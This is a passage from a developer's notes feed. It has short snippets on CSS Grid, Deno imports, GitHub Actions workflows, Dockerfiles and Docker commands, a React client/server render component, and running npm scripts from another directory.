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),
    auto !important;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;iframe
height=&quot;300&quot;
style=&quot;width: 100%;&quot;
scrolling=&quot;no&quot;
title=&quot;LYVJejv&quot;
src=&quot;https://codepen.io/mrmartineau/embed/LYVJejv?height=265&amp;amp;theme-id=light&amp;amp;default-tab=result&quot;
frameborder=&quot;no&quot;
allowtransparency=&quot;true&quot;
allowfullscreen=&quot;true&quot;&lt;/p&gt;
&lt;blockquote&gt;&lt;/blockquote&gt;
&lt;p&gt;See the Pen &amp;lt;a href=&quot;https://codepen.io/mrmartineau/pen/LYVJejv&quot;&amp;gt;LYVJejv&amp;lt;/a&amp;gt;{&apos; &apos;}
by Zander Martineau (&amp;lt;a href=&quot;https://codepen.io/mrmartineau&quot;&amp;gt;@mrmartineau&amp;lt;/a&amp;gt;
) on &amp;lt;a href=&quot;https://codepen.io&quot;&amp;gt;CodePen&amp;lt;/a&amp;gt;.
&amp;lt;/iframe&amp;gt;&lt;/p&gt;
</content:encoded><category>css</category><author>Zander Martineau</author></item><item><title>CSS Grid</title><link>https://zander.wtf/notes/css-grid/</link><guid isPermaLink="true">https://zander.wtf/notes/css-grid/</guid><description>Fluid columns snippet</description><pubDate>Fri, 20 Jan 2023 00:00:00 GMT</pubDate><content:encoded>&lt;pre&gt;&lt;code&gt;.grid {
  display: grid;
  grid-gap: 30px;
  grid-template-columns: repeat(auto-fill, 112px);
  /* or this */
  grid-template-columns: repeat(auto-fill, minmax(112px, 1fr));
}

/* To select modern Grid browsers and IE 11 */
@supports (display: grid) {
  grid-gap: 20px;
}

/* Else */
@supports not (display: grid) {
  li {
    padding: 10px;
  }
}

/* Edge 16 and higher */
@supports (display: -ms-grid) and (display: grid) {
  div {
    width: auto;
  }
}

/* Edge 15 and lower */
@supports (display: -ms-grid) and (not (display: grid)) {
  div {
    margin: 0;
  }
}

// To select only Grid browsers without IE 11
@supports (grid-gap: 0) {
  grid-gap: 20px;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Fluid columns snippet&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;.grid {
  display: grid;
  grid-template-columns: repeat(auto-fill, minmax(200px, 1fr));
  /* This is better for small screens, once min() is better supported */
  /* grid-template-columns: repeat(auto-fill, minmax(min(200px, 100%), 1fr)); */
  gap: 1rem;
}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>css</category><author>Zander Martineau</author></item><item><title>Deno</title><link>https://zander.wtf/notes/deno/</link><guid isPermaLink="true">https://zander.wtf/notes/deno/</guid><description>3rd party modules deno.land/x is a hosting service for Deno scripts. It caches releases of open-source modules stored on GitHub and serves them at an…</description><pubDate>Fri, 20 Jan 2023 00:00:00 GMT</pubDate><content:encoded>&lt;h3&gt;&lt;a href=&quot;https://deno.land/x&quot;&gt;3rd party modules&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://deno.land/x?query=serve&quot;&gt;deno.land/x&lt;/a&gt;&lt;/strong&gt; is a hosting service for Deno scripts. It caches releases of open-source modules stored on GitHub and serves them at an easy-to-remember domain.&lt;/p&gt;
&lt;p&gt;Deno can import modules from any location on the web, like GitHub, a personal webserver, or a CDN like &lt;a href=&quot;https://esm.sh/&quot;&gt;esm.sh&lt;/a&gt;, &lt;a href=&quot;https://www.skypack.dev/&quot;&gt;Skypack&lt;/a&gt;, &lt;a href=&quot;https://jspm.io/&quot;&gt;jspm.io&lt;/a&gt; or &lt;a href=&quot;https://www.jsdelivr.com/&quot;&gt;jsDelivr&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Examples&lt;/h2&gt;
&lt;h3&gt;&lt;a href=&quot;https://deno.land/x&quot;&gt;deno.land&lt;/a&gt;&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;import { serve } from &apos;https://deno.land/std@0.131.0/http/server.ts&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;a href=&quot;https://esm.sh&quot;&gt;esm.sh&lt;/a&gt;&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;import { decode } from &apos;https://esm.sh/html-entities@2.3.3&apos;
import type { SupabaseClient } from &apos;https://esm.sh/@supabase/supabase-js@2.1.1&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;CDN&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;import urlJoin from &apos;https://cdn.skypack.dev/pin/proper-url-join@v2.1.1-SID2RKzIsZDaP6lwi1ZT/mode=imports,min/optimized/proper-url-join.js&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;a href=&quot;https://deno.land/manual@v1.29.1/node&quot;&gt;npm&lt;/a&gt;&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;import chalk from &apos;npm:chalk@5&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;TS types&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;// @deno-types=&quot;npm:@types/express@^4.17&quot;
import express from &apos;npm:express@^4.17&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Publishing your own modules&lt;/h2&gt;
&lt;p&gt;All modules on deno.land/x need to be hosted as public repositories on GitHub.com.&lt;/p&gt;
&lt;p&gt;deno.land/x downloads and stores your repository contents every time you create a git tag. We only do this once for every tag. This ensures that the contents we serve for a specific version can never change.&lt;/p&gt;
</content:encoded><category>deno</category><author>Zander Martineau</author></item><item><title>GitHub Actions</title><link>https://zander.wtf/notes/github-actions/</link><guid isPermaLink="true">https://zander.wtf/notes/github-actions/</guid><description>Docs: https://docs.github.com/en/actions Actions reference Example workflows On push PRs only On merge into main branch Enable debug logging Set…</description><pubDate>Fri, 20 Jan 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Docs:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;https://docs.github.com/en/actions&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.github.com/en/actions/reference/workflow-syntax-for-github-actions&quot;&gt;Actions reference&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Example workflows&lt;/h2&gt;
&lt;h3&gt;On push&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;name: learn-github-actions
on: [push]
jobs:
  check-bats-version:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v2
      - uses: actions/setup-node@v1
      - run: npm install -g bats
      - run: bats -v
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;PRs only&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;name: Run on PR
&apos;on&apos;: pull_request
jobs:
  build_and_preview:
    runs-on: ubuntu-latest
    steps:
      - name: Checkout code
        uses: actions/checkout@v2
      - name: Get yarn cache directory path
        id: yarn-cache-dir-path
        run: echo &quot;::set-output name=dir::$(yarn cache dir)&quot;
      - uses: actions/cache@v2
        id: yarn-cache
        with:
          path: ${{ steps.yarn-cache-dir-path.outputs.dir }}
          key: ${{ runner.os }}-yarn-${{ hashFiles(&apos;**/yarn.lock&apos;) }}
          restore-keys: |
            ${{ runner.os }}-yarn-
      - name: Install dependencies
        run: yarn --prefer-offline
      - name: bundlephobia-checker
        # https://github.com/carlesnunez/check-my-bundlephobia
        uses: carlesnunez/check-my-bundlephobia@v1.8.0
        with:
          repo-token: ${{ secrets.GITHUB_TOKEN }}
          strict: true
          threshold: 800
          ignore-dev-dependencies: true
      - name: Lint
        run: yarn lint
      - name: Test
        run: yarn test
      - name: Build app
        run: yarn build
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;On merge into &lt;code&gt;main&lt;/code&gt; branch&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;name: Run on merge
&apos;on&apos;:
  push:
    branches:
      - main
jobs:
  build_and_deploy:
    runs-on: ubuntu-latest
    steps:
      - name: Checkout code
        uses: actions/checkout@v2
      - name: Get yarn cache directory path
        id: yarn-cache-dir-path
        run: echo &quot;::set-output name=dir::$(yarn cache dir)&quot;
      - uses: actions/cache@v2
        id: yarn-cache
        with:
          path: ${{ steps.yarn-cache-dir-path.outputs.dir }}
          key: ${{ runner.os }}-yarn-${{ hashFiles(&apos;**/yarn.lock&apos;) }}
          restore-keys: |
            ${{ runner.os }}-yarn-
      - name: Install dependencies
        run: yarn --prefer-offline
      - name: Lint
        run: yarn lint
      - name: Test
        run: yarn test
      - name: Build app
        run: yarn build
      - name: Build Storybook
        run: yarn storybook:build
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;&lt;a href=&quot;https://docs.github.com/en/actions/managing-workflow-runs/enabling-debug-logging&quot;&gt;Enable debug logging&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Set either/both in your repo&apos;s secrets:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;ACTIONS_STEP_DEBUG=true&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ACTIONS_RUNNER_DEBUG=true&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><category>devops</category><author>Zander Martineau</author></item><item><title>Shiki Twoslash</title><link>https://zander.wtf/notes/shiki-twoslash/</link><guid isPermaLink="true">https://zander.wtf/notes/shiki-twoslash/</guid><pubDate>Fri, 20 Jan 2023 00:00:00 GMT</pubDate><content:encoded>&lt;pre&gt;&lt;code&gt;// Removes &apos;readonly&apos; attributes from a type&apos;s properties
type CreateMutable&amp;lt;Type&amp;gt; = {
  -readonly [Property in keyof Type]: Type[Property]
}

type LockedAccount = {
  readonly id: string
  readonly name: string
}

type UnlockedAccount = CreateMutable&amp;lt;LockedAccount&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;// @module: esnext
// @filename: maths.ts
export function absolute(num: number) {
  if (num &amp;lt; 0) return num * -1
  return num
}
// @filename: index.ts
import { absolute } from &apos;./maths&apos;
const value = absolute(-1)
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;// @module: esnext
// @filename: maths.ts
export function absolute(num: number) {
  if (num &amp;lt; 0) return num * -1
  return num
}
// @filename: index.ts
import { absolute } from &apos;./maths&apos;
const value = absolute(-1)
//    ^?
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;// @module: esnext
// @filename: maths.ts
export function absolute(num: number) {
  if (num &amp;lt; 0) return num * -1
  return num
}
// @filename: index.ts
// ---cut---
import { absolute } from &apos;./maths&apos;
const value = absolute(-1)
//    ^?
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;function greet(person: string) {
  console.log(`Hello ${person},`)
  console.log(`How do?`)
}
greet(&apos;Maddison&apos;)
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><author>Zander Martineau</author></item><item><title>Docker</title><link>https://zander.wtf/notes/docker/</link><guid isPermaLink="true">https://zander.wtf/notes/docker/</guid><description>Best practices Node Dockerfile best practices Dockerfile best practices Dockerfile examples Build a Dockerfile locally Run a Dockerfile locally Docker…</description><pubDate>Thu, 22 Sep 2022 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Best practices&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/nodejs/docker-node/blob/master/docs/BestPractices.md&quot;&gt;Node Dockerfile best practices&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.docker.com/develop/develop-images/dockerfile_best-practices/&quot;&gt;Dockerfile best practices&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Dockerfile examples&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;FROM node:12.4.0-alpine
ENV NPM_CONFIG_LOGLEVEL info
WORKDIR /usr/src/app
EXPOSE 8080
ENTRYPOINT [&quot;yarn&quot;, &quot;start&quot;]

RUN mkdir -p /usr/src/app
COPY . .
RUN yarn install &amp;amp;&amp;amp; \
    yarn build &amp;amp;&amp;amp; \
    yarn test &amp;amp;&amp;amp; \
    yarn install --production &amp;amp;&amp;amp; \
    rm -rf .git
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Build a Dockerfile locally&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;docker build .

# or

docker build -t yourTagName .
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Run a Dockerfile locally&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;docker run -p 1717:1717 yourTagName
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Docker commands&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# list all running containers
docker ps

# stop/remove particular running container
docker rm -f $containerId

# stop all containers
docker rm -f (docker ps -aq)

# browse running container files
docker exec -it $containerId sh
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Using private npm packages&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://www.alexandraulsh.com/2018/06/25/docker-npmrc-security/&quot;&gt;Securely using .npmrc files in Docker images&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Here&apos;s an example of the above&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Multi-stage build info &amp;amp; npm security
# from https://www.alexandraulsh.com/2018/06/25/docker-npmrc-security/

# First build
FROM node:13.2.0 AS build
ENV NPM_CONFIG_LOGLEVEL info
WORKDIR /usr/src/app
ARG NPM_TOKEN

RUN mkdir -p /usr/src/app
COPY . .
RUN echo &quot;//registry.npmjs.org/:_authToken=$NPM_TOKEN&quot; &amp;gt; .npmrc &amp;amp;&amp;amp; \
    yarn install &amp;amp;&amp;amp; \
    yarn build &amp;amp;&amp;amp; \
    yarn test &amp;amp;&amp;amp; \
    yarn storybook:build &amp;amp;&amp;amp; \
    yarn install --production &amp;amp;&amp;amp; \
    rm -f .npmrc \
    rm -rf .git


# Second build
FROM node:13.2.0-alpine
WORKDIR /usr/src/app

EXPOSE 8080
COPY --from=build /usr/src/app .

ENTRYPOINT [&quot;yarn&quot;, &quot;start&quot;]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then you would run the build like so:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;docker build -t mrmartineau/${CIRCLE_PROJECT_REPONAME}:${CIRCLE_SHA1} \
+               --build-arg NPM_TOKEN=${NPM_TOKEN} \
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The above extract is from one project&apos;s CircleCI config.&lt;/p&gt;
&lt;p&gt;This is how you would run it locally&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;docker build . -f dockerfile -t kiss --build-arg NPM_TOKEN=9e012519-aba7-4372-8381-abcdefghi
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Security&lt;/h2&gt;
&lt;p&gt;https://cloudberry.engineering/article/dockerfile-security-best-practices/&lt;/p&gt;
&lt;p&gt;Hacker News comments for the above article: https://news.ycombinator.com/item?id=24776771&lt;/p&gt;
&lt;h2&gt;Using Docker on a Mac&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Rancher Desktop (https://rancherdesktop.io/)
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.danielstechblog.io/using-rancher-desktop-as-docker-desktop-replacement-on-macos/&quot;&gt;Using Rancher Desktop as Docker Desktop replacement on macOS&lt;/a&gt; - Daniel&apos;s Tech Blog&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://podman-desktop.io/&quot;&gt;Podman Desktop&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/abiosoft/colima&quot;&gt;Colima&lt;/a&gt; (CLI tool) - Container runtimes on macOS (and Linux) with minimal setup&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.portainer.io/&quot;&gt;Portainer&lt;/a&gt; (Web-based) Docker and Kubernetes Management&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><category>devops</category><author>Zander Martineau</author></item><item><title>Conditionally render on the client or server</title><link>https://zander.wtf/notes/react-conditionally-render-client-server/</link><guid isPermaLink="true">https://zander.wtf/notes/react-conditionally-render-client-server/</guid><description>Usage</description><pubDate>Wed, 17 Aug 2022 00:00:00 GMT</pubDate><content:encoded>&lt;pre&gt;&lt;code&gt;import React, { useEffect, useState, ReactNode } from &apos;react&apos;

export interface ConditionallyRenderProps {
  client?: boolean
  server?: boolean
  children?: ReactNode
}

const ConditionallyRender = ({
  client,
  server,
  children,
}: ConditionallyRenderProps) =&amp;gt; {
  const [isMounted, setIsMounted] = useState(false)

  useEffect(() =&amp;gt; setIsMounted(true), [])

  if (!isMounted &amp;amp;&amp;amp; client) {
    return null
  }

  if (isMounted &amp;amp;&amp;amp; server) {
    return null
  }

  return children as React.ReactElement
}

export default ConditionallyRender
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Usage&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;Layout&amp;gt;
  &amp;lt;ConditionallyRender server&amp;gt;
    &amp;lt;p&amp;gt;This is rendered only on server.&amp;lt;/p&amp;gt;
  &amp;lt;/ConditionallyRender&amp;gt;
  &amp;lt;ConditionallyRender client&amp;gt;
    &amp;lt;p&amp;gt;This is rendered only on client.&amp;lt;/p&amp;gt;
  &amp;lt;/ConditionallyRender&amp;gt;
&amp;lt;/Layout&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>react</category><author>Zander Martineau</author></item><item><title>Run npm script from another directory</title><link>https://zander.wtf/notes/npm-script-another-directory/</link><guid isPermaLink="true">https://zander.wtf/notes/npm-script-another-directory/</guid><description>npm To run an npm script from another directory, use --prefix: yarn To run a yarn script from another directory, use --cwd: Example If you have a…</description><pubDate>Tue, 19 Jul 2022 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;npm&lt;/h2&gt;
&lt;p&gt;To run an npm script from another directory, use --prefix:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;npm --prefix &amp;lt;path&amp;gt; run &amp;lt;command&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;yarn&lt;/h2&gt;
&lt;p&gt;To run a yarn script from another directory, use --cwd:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;yarn --cwd &amp;lt;path&amp;gt; &amp;lt;command&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Example&lt;/h2&gt;
&lt;p&gt;If you have a &lt;code&gt;package.json&lt;/code&gt; in the &lt;code&gt;example&lt;/code&gt; directory:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;scripts&quot;: {
    &quot;start&quot;: &quot;echo hello world&quot;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In the following directory:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.
├─ example
│  ├─ package.json
├─ package.json
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;1 directory, 1 file&lt;/p&gt;
&lt;p&gt;Then to run script &lt;code&gt;start&lt;/code&gt; from your working directory:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;npm --prefix ./example run start

yarn --cwd ./example start
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;scripts&quot;: {
    &quot;start&quot;: &quot;npm --prefix ./example run start&quot;
  }
}
&lt;/code&gt;&lt;/pre&gt;
